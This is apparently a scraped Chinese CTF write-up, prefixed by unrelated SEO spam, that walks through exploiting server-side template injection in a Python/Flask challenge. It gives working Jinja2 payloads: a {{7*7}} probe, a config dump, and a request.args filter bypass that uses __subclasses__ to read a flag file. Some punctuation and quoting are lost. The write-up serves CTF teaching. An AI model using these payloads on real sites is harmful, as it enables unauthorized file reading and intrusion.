成都专业网站建设,制作网页时文字可以做超链接吗,建设联结网同类网站,广告设计公司开的版面费题目 访问题目场景 某天#xff0c;Bob说#xff1a;PHP是最好的语言#xff0c;但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候#xff0c;我发现其存在问题。(请不要使用扫描器)
然后结合图片我们知道#xff0c;这个网址是python写的#xff0…题目 访问题目场景 某天Bob说PHP是最好的语言但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候我发现其存在问题。(请不要使用扫描器)
然后结合图片我们知道这个网址是python写的那python语言书写的网址存在最多的大概率是SSTI模板注入
SSTI模板注入 SSTI就是服务器端模板注入(Server-Side Template Injection)SSTI也是注入类的漏洞其成因其实是可以类比于sql注入的。 sql注入是从用户获得一个输入然后又后端脚本语言进行数据库查询所以可以利用输入来拼接我们想要的sql语句当然现在的sql注入防范做得已经很好了然而随之而来的是更多的漏洞。 SSTI也是获取了一个输入然后再后端的渲染处理上进行了语句的拼接然后执行。当然还是和sql注入有所不同的SSTI利用的是现在的网站模板引擎主要针对python、php、java的一些网站处理框架比如Python的jinja2 mako tornado djangophp的smarty twigjava的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。 现在网上提起的比较多的是Python的网站。 然后我们就可以用常规的注入方法去尝试一下
/{{7*7}} 现在我们确认了这确实存在模板注入
常规的用一些魔术方法去注入测试
/{{.__class__.__mro[2]__.__subclasses__()}} 发现行不通那我们就测试别的方法
/{{config}} The requested URL /Config {JSON_AS_ASCII: True, USE_X_SENDFILE: False, SESSION_COOKIE_SECURE: False, SESSION_COOKIE_PATH: None, SESSION_COOKIE_DOMAIN: None, SESSION_COOKIE_NAME: session, MAX_COOKIE_SIZE: 4093, SESSION_COOKIE_SAMESITE: None, PROPAGATE_EXCEPTIONS: None, ENV: production, DEBUG: False, SECRET_KEY: None, EXPLAIN_TEMPLATE_LOADING: False, MAX_CONTENT_LENGTH: None, APPLICATION_ROOT: /, SERVER_NAME: None, PREFERRED_URL_SCHEME: http, JSONIFY_PRETTYPRINT_REGULAR: False, TESTING: False, PERMANENT_SESSION_LIFETIME: datetime.timedelta(31), TEMPLATES_AUTO_RELOAD: None, TRAP_BAD_REQUEST_ERRORS: None, JSON_SORT_KEYS: True, JSONIFY_MIMETYPE: application/json, SESSION_COOKIE_HTTPONLY: True, SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(0, 43200), PRESERVE_CONTEXT_ON_EXCEPTION: None, SESSION_REFRESH_EACH_REQUEST: True, TRAP_HTTP_EXCEPTIONS: False} was not found on this server. 尝试request
/{{[request.args.a][request.args.b][2][request.args.c]()}}?a__class__b__mro__c__subclasses__ 可以发现存在File方法就证明我们能读取信息
/{{[request.args.a][request.args.b][2][request.args.c]()[40](/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt)[request.args.d]()}}?a__class__b__mro__c__subclasses__dread 而flag的位置是在下图的位置使用注入之后再右键检查就能发现了